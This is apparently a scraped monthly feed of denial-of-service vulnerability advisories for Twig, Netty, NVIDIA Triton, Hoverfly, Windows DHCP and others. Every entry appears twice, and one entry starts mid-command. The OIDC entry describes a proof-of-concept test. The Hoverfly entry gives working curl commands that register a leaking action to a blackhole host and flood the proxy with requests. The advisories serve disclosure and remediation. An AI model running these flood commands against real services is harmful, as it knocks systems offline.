Monthly
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
Twig is a template language for PHP. Prior to 3.26.0, the Twig sandbox does not prevent a template from consuming CPU, memory, or wall-clock time, even under the strictest allow-list, allowing untrusted templates to cause resource exhaustion. This issue is addressed in version 3.26.0 by documenting that the sandbox does not protect against resource exhaustion.
When OIDC is enabled, `GET /ui/oidc/login` is reachable without authentication and is registered outside the Web UI rate-limited auth routes. Every request creates a fresh random OIDC state value and stores it in an in-memory map for `10m`. Expired states are swept lazily, but there is no rate limit or maximum live-state cap on the allocation path. An unauthenticated remote client can therefore grow `OIDC.states` for the full state TTL, bounded by request throughput rather than by configured auth rate limits. The OIDC login route is registered directly by `WithOIDC`: - `internal/web/web.go:153` registers `w.router.Get("/ui/oidc/login", o.HandleLogin)`. - `internal/web/web.go:154` rate-limits only `GET /ui/oidc/callback` with `w.rateLimitMiddleware("auth")`. The normal `/ui/*` route group applies rate limiting to login/register form submissions, but this direct registration happens outside that group: - `internal/web/web.go:287` through `internal/web/web.go:292` show the rate-limited local login, TOTP, and register POST routes. The OIDC login handler allocates persistent server-side state before redirecting to the configured identity provider: - `internal/web/oidc.go:105` defines `HandleLogin`. - `internal/web/oidc.go:106` creates a random state token. - `internal/web/oidc.go:112` calls `o.rememberState(state)`. - `internal/web/oidc.go:122` redirects to `o.oauth.AuthCodeURL(state)`. The state storage has a TTL but no maximum size: - `internal/web/oidc.go:24` through `internal/web/oidc.go:26` define `oidcStateTTL = 10 * time.Minute`. - `internal/web/oidc.go:353` through `internal/web/oidc.go:358` sweep expired states and then add the new state to `o.states`. - `internal/web/oidc.go:360` through `internal/web/oidc.go:373` delete only expired states. Because the route is unauthenticated and not rate-limited, a remote client can repeatedly request `/ui/oidc/login` and force live state entries to accumulate for ten minutes. OIDC must be enabled for exposure. No IdP callback, valid credentials, or user interaction is required to trigger the allocation. Affected version evidence: OIDC login support was introduced by commit `3f46685` (`feat(auth): add OIDC operator login (Keycloak/Authentik/Okta/...) (#24)`), and `git tag --contains 3f46685 --sort=version:refname` returns `v0.2.0` and every later release through `v0.3.8`. Pattern checks across all release tags showed the OIDC login route and state allocation are present in `v0.2.0` and in every `v0.3.x` release from `v0.3.0` to `v0.3.8`, and absent from `v0.1.x`. The current checkout at commit `d92dd9a60de291e2bc1caf73b4e9a99567b31ec0` (`git describe`: `v0.3.8-1-gd92dd9a`) remains affected. Safe local PoC run from a clean checkout at commit `d92dd9a60de291e2bc1caf73b4e9a99567b31ec0` on 2026-06-12. The PoC is a temporary Go test that uses `httptest` and an in-memory OIDC object; it does not start a real server, does not contact an IdP, and uses 1000 requests only to demonstrate linear state growth. 1. Create a temporary test file `internal/web/security_audit_poc_test.go` in package `web`. 2. Create a test Web UI with `newTestWeb(t)`. 3. Install a deliberately tiny auth rate limiter: group `auth` with rate `0.001` and burst `2`. 4. Attach an `OIDC` instance with an empty `states` map and an `oauth2.Config` whose authorization endpoint is `https://idp.example.test/auth`. 5. Send 1000 unauthenticated `GET /ui/oidc/login` requests from the same `RemoteAddr` through `w.ServeHTTP`. 6. Assert no request returns `429 Too Many Requests`, then inspect `o.stateCount()`. Command run: ```bash go test ./internal/web -run 'TestSecurityAuditPOC' -count=1 -v ``` Observed vulnerable output from this environment: ```text === RUN TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState POC_OIDC_STATE_GROWTH attempts=1000 live_states=1000 ttl=10m0s rate_limit_group=auth_burst_2 --- PASS: TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState (0.10s) ``` The meaningful control is that local login/register/TOTP POST routes and the OIDC callback are rate-limited: `internal/web/web.go:287` through `internal/web/web.go:292` and `internal/web/web.go:154`. The PoC specifically shows the OIDC login allocation route does not share that protection. After recording the output, the temporary test file was removed and `git status --short` returned clean. The PoC was re-run after drafting this report and produced the output shown above. In deployments with OIDC enabled, an unauthenticated remote client can cause application-layer memory growth by repeatedly requesting `/ui/oidc/login`. Each request stores a new state entry for ten minutes, and the growth is not bounded by the configured auth rate limiter or by a maximum map size. The demonstrated impact is availability degradation risk through retained in-memory state growth. The PoC used 1000 local requests to avoid disruptive load while proving the source-to-sink behavior (`1000` requests resulted in `1000` live states). Suggested remediation: apply the existing `auth` rate limiter to `GET /ui/oidc/login`, add a maximum number of live OIDC states per client and/or globally, and fail closed when the cap is reached. Add a regression test that attaches a low-burst auth limiter, sends repeated `GET /ui/oidc/login` requests from the same client, and expects `429` or bounded live-state count after the configured burst.
Denial of service in the Netty netty-codec-stomp module (versions 4.1.x up to 4.1.135.Final and 4.2.0.Alpha1 through 4.2.15.Final) allows a remote attacker to trigger an OutOfMemoryError and crash the JVM. The StompSubframeDecoder caps individual header line length via maxLineLength but never bounds the total header count or cumulative header size, so a single STOMP frame packed with thousands of short headers exhausts heap memory. Publicly available exploit code exists (a working client/server PoC is published in the GitHub Security Advisory), but there is no public evidence of active exploitation; EPSS/KEV signals are not present in the input.
Denial of service in NVIDIA Triton Inference Server for Linux lets remote unauthenticated attackers exhaust server resources (CWE-400 uncontrolled resource consumption) and render the AI/ML inference endpoint unavailable, with no impact to confidentiality or integrity. The CVSS 3.1 base score is 7.5 (AV:N/AC:L/PR:N/UI:N/A:H), reflecting network-reachable, low-complexity, no-privilege exploitation. There is no public exploit identified at time of analysis and it is not listed in CISA KEV; no EPSS score was provided in the input.
Denial of service in NVIDIA Triton Inference Server for Linux allows remote unauthenticated attackers to trigger uncontrolled resource consumption, exhausting server resources and rendering the model-serving endpoint unavailable. The flaw carries a CVSS 7.5 with a pure availability impact and no confidentiality or integrity effect; it was reported by NVIDIA, and there is no public exploit identified at time of analysis. No special access is required, but the concrete resource-exhaustion trigger is not detailed in the available data.
Unauthenticated remote denial of service in StacklokLabs MKP (Model Context Protocol for Kubernetes) server versions before 0.4.1 lets a single crafted `tools/call` request against the default `:8080` endpoint exhaust process memory. The `get_resource` tool accepts attacker-controlled `limitBytes`/`tailLines` values with no upper bound and streams the entire Kubernetes pod-log response into an in-memory `bytes.Buffer`, driving an OOM kill (dynamic reproduction grew RSS from 25.8 MB to 1,179.3 MB on one request). Publicly available exploit code exists in the GitHub Security Advisory; there is no public evidence of active exploitation.
{ "actionName": "leak", "remote": "http://192.0.2.1:9999/blackhole", "delayInMs": 0 }' ``` **Step 3: Load a catch-all simulation** ```bash curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "ok", "postServeAction": "leak"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ``` **Step 4: Flood with requests** ```bash for i in $(seq 1 10000); do curl -s -x http://localhost:8500 "http://target.com/req${i}" & [ $((i % 100)) -eq 0 ] && wait done ``` **Verified memory impact on Hoverfly v1.12.7:** ``` Memory before: 20,064 KB Memory after 50 requests: 23,376 KB Memory increase: 3,312 KB (66 KB per goroutine) ``` At this rate: - 1,000 requests = ~64 MB leaked - 10,000 requests = ~640 MB leaked - 100,000 requests = ~6.4 GB leaked → OOM crash An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by: 1. Registering a remote post-serve action pointing to a non-responsive endpoint. 2. Loading a catch-all simulation that triggers the action on every request. 3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.
Denial of service in the Microsoft Windows DHCP Server role allows a remote, unauthenticated attacker to exhaust server resources and knock the service offline over the network. The flaw affects a broad range of supported Windows Server releases (2012 through 2025, including Server Core installations) and carries a CVSS 7.5 rating driven entirely by availability impact. No public exploit has been identified at time of analysis, and it is not listed in CISA KEV.
Uncontrolled resource consumption in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to deny service over a network.
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
Twig is a template language for PHP. Prior to 3.26.0, the Twig sandbox does not prevent a template from consuming CPU, memory, or wall-clock time, even under the strictest allow-list, allowing untrusted templates to cause resource exhaustion. This issue is addressed in version 3.26.0 by documenting that the sandbox does not protect against resource exhaustion.
When OIDC is enabled, `GET /ui/oidc/login` is reachable without authentication and is registered outside the Web UI rate-limited auth routes. Every request creates a fresh random OIDC state value and stores it in an in-memory map for `10m`. Expired states are swept lazily, but there is no rate limit or maximum live-state cap on the allocation path. An unauthenticated remote client can therefore grow `OIDC.states` for the full state TTL, bounded by request throughput rather than by configured auth rate limits. The OIDC login route is registered directly by `WithOIDC`: - `internal/web/web.go:153` registers `w.router.Get("/ui/oidc/login", o.HandleLogin)`. - `internal/web/web.go:154` rate-limits only `GET /ui/oidc/callback` with `w.rateLimitMiddleware("auth")`. The normal `/ui/*` route group applies rate limiting to login/register form submissions, but this direct registration happens outside that group: - `internal/web/web.go:287` through `internal/web/web.go:292` show the rate-limited local login, TOTP, and register POST routes. The OIDC login handler allocates persistent server-side state before redirecting to the configured identity provider: - `internal/web/oidc.go:105` defines `HandleLogin`. - `internal/web/oidc.go:106` creates a random state token. - `internal/web/oidc.go:112` calls `o.rememberState(state)`. - `internal/web/oidc.go:122` redirects to `o.oauth.AuthCodeURL(state)`. The state storage has a TTL but no maximum size: - `internal/web/oidc.go:24` through `internal/web/oidc.go:26` define `oidcStateTTL = 10 * time.Minute`. - `internal/web/oidc.go:353` through `internal/web/oidc.go:358` sweep expired states and then add the new state to `o.states`. - `internal/web/oidc.go:360` through `internal/web/oidc.go:373` delete only expired states. Because the route is unauthenticated and not rate-limited, a remote client can repeatedly request `/ui/oidc/login` and force live state entries to accumulate for ten minutes. OIDC must be enabled for exposure. No IdP callback, valid credentials, or user interaction is required to trigger the allocation. Affected version evidence: OIDC login support was introduced by commit `3f46685` (`feat(auth): add OIDC operator login (Keycloak/Authentik/Okta/...) (#24)`), and `git tag --contains 3f46685 --sort=version:refname` returns `v0.2.0` and every later release through `v0.3.8`. Pattern checks across all release tags showed the OIDC login route and state allocation are present in `v0.2.0` and in every `v0.3.x` release from `v0.3.0` to `v0.3.8`, and absent from `v0.1.x`. The current checkout at commit `d92dd9a60de291e2bc1caf73b4e9a99567b31ec0` (`git describe`: `v0.3.8-1-gd92dd9a`) remains affected. Safe local PoC run from a clean checkout at commit `d92dd9a60de291e2bc1caf73b4e9a99567b31ec0` on 2026-06-12. The PoC is a temporary Go test that uses `httptest` and an in-memory OIDC object; it does not start a real server, does not contact an IdP, and uses 1000 requests only to demonstrate linear state growth. 1. Create a temporary test file `internal/web/security_audit_poc_test.go` in package `web`. 2. Create a test Web UI with `newTestWeb(t)`. 3. Install a deliberately tiny auth rate limiter: group `auth` with rate `0.001` and burst `2`. 4. Attach an `OIDC` instance with an empty `states` map and an `oauth2.Config` whose authorization endpoint is `https://idp.example.test/auth`. 5. Send 1000 unauthenticated `GET /ui/oidc/login` requests from the same `RemoteAddr` through `w.ServeHTTP`. 6. Assert no request returns `429 Too Many Requests`, then inspect `o.stateCount()`. Command run: ```bash go test ./internal/web -run 'TestSecurityAuditPOC' -count=1 -v ``` Observed vulnerable output from this environment: ```text === RUN TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState POC_OIDC_STATE_GROWTH attempts=1000 live_states=1000 ttl=10m0s rate_limit_group=auth_burst_2 --- PASS: TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState (0.10s) ``` The meaningful control is that local login/register/TOTP POST routes and the OIDC callback are rate-limited: `internal/web/web.go:287` through `internal/web/web.go:292` and `internal/web/web.go:154`. The PoC specifically shows the OIDC login allocation route does not share that protection. After recording the output, the temporary test file was removed and `git status --short` returned clean. The PoC was re-run after drafting this report and produced the output shown above. In deployments with OIDC enabled, an unauthenticated remote client can cause application-layer memory growth by repeatedly requesting `/ui/oidc/login`. Each request stores a new state entry for ten minutes, and the growth is not bounded by the configured auth rate limiter or by a maximum map size. The demonstrated impact is availability degradation risk through retained in-memory state growth. The PoC used 1000 local requests to avoid disruptive load while proving the source-to-sink behavior (`1000` requests resulted in `1000` live states). Suggested remediation: apply the existing `auth` rate limiter to `GET /ui/oidc/login`, add a maximum number of live OIDC states per client and/or globally, and fail closed when the cap is reached. Add a regression test that attaches a low-burst auth limiter, sends repeated `GET /ui/oidc/login` requests from the same client, and expects `429` or bounded live-state count after the configured burst.
Denial of service in the Netty netty-codec-stomp module (versions 4.1.x up to 4.1.135.Final and 4.2.0.Alpha1 through 4.2.15.Final) allows a remote attacker to trigger an OutOfMemoryError and crash the JVM. The StompSubframeDecoder caps individual header line length via maxLineLength but never bounds the total header count or cumulative header size, so a single STOMP frame packed with thousands of short headers exhausts heap memory. Publicly available exploit code exists (a working client/server PoC is published in the GitHub Security Advisory), but there is no public evidence of active exploitation; EPSS/KEV signals are not present in the input.
Denial of service in NVIDIA Triton Inference Server for Linux lets remote unauthenticated attackers exhaust server resources (CWE-400 uncontrolled resource consumption) and render the AI/ML inference endpoint unavailable, with no impact to confidentiality or integrity. The CVSS 3.1 base score is 7.5 (AV:N/AC:L/PR:N/UI:N/A:H), reflecting network-reachable, low-complexity, no-privilege exploitation. There is no public exploit identified at time of analysis and it is not listed in CISA KEV; no EPSS score was provided in the input.
Denial of service in NVIDIA Triton Inference Server for Linux allows remote unauthenticated attackers to trigger uncontrolled resource consumption, exhausting server resources and rendering the model-serving endpoint unavailable. The flaw carries a CVSS 7.5 with a pure availability impact and no confidentiality or integrity effect; it was reported by NVIDIA, and there is no public exploit identified at time of analysis. No special access is required, but the concrete resource-exhaustion trigger is not detailed in the available data.
Unauthenticated remote denial of service in StacklokLabs MKP (Model Context Protocol for Kubernetes) server versions before 0.4.1 lets a single crafted `tools/call` request against the default `:8080` endpoint exhaust process memory. The `get_resource` tool accepts attacker-controlled `limitBytes`/`tailLines` values with no upper bound and streams the entire Kubernetes pod-log response into an in-memory `bytes.Buffer`, driving an OOM kill (dynamic reproduction grew RSS from 25.8 MB to 1,179.3 MB on one request). Publicly available exploit code exists in the GitHub Security Advisory; there is no public evidence of active exploitation.
{ "actionName": "leak", "remote": "http://192.0.2.1:9999/blackhole", "delayInMs": 0 }' ``` **Step 3: Load a catch-all simulation** ```bash curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "ok", "postServeAction": "leak"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ``` **Step 4: Flood with requests** ```bash for i in $(seq 1 10000); do curl -s -x http://localhost:8500 "http://target.com/req${i}" & [ $((i % 100)) -eq 0 ] && wait done ``` **Verified memory impact on Hoverfly v1.12.7:** ``` Memory before: 20,064 KB Memory after 50 requests: 23,376 KB Memory increase: 3,312 KB (66 KB per goroutine) ``` At this rate: - 1,000 requests = ~64 MB leaked - 10,000 requests = ~640 MB leaked - 100,000 requests = ~6.4 GB leaked → OOM crash An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by: 1. Registering a remote post-serve action pointing to a non-responsive endpoint. 2. Loading a catch-all simulation that triggers the action on every request. 3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.
Denial of service in the Microsoft Windows DHCP Server role allows a remote, unauthenticated attacker to exhaust server resources and knock the service offline over the network. The flaw affects a broad range of supported Windows Server releases (2012 through 2025, including Server Core installations) and carries a CVSS 7.5 rating driven entirely by availability impact. No public exploit has been identified at time of analysis, and it is not listed in CISA KEV.
Uncontrolled resource consumption in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to deny service over a network.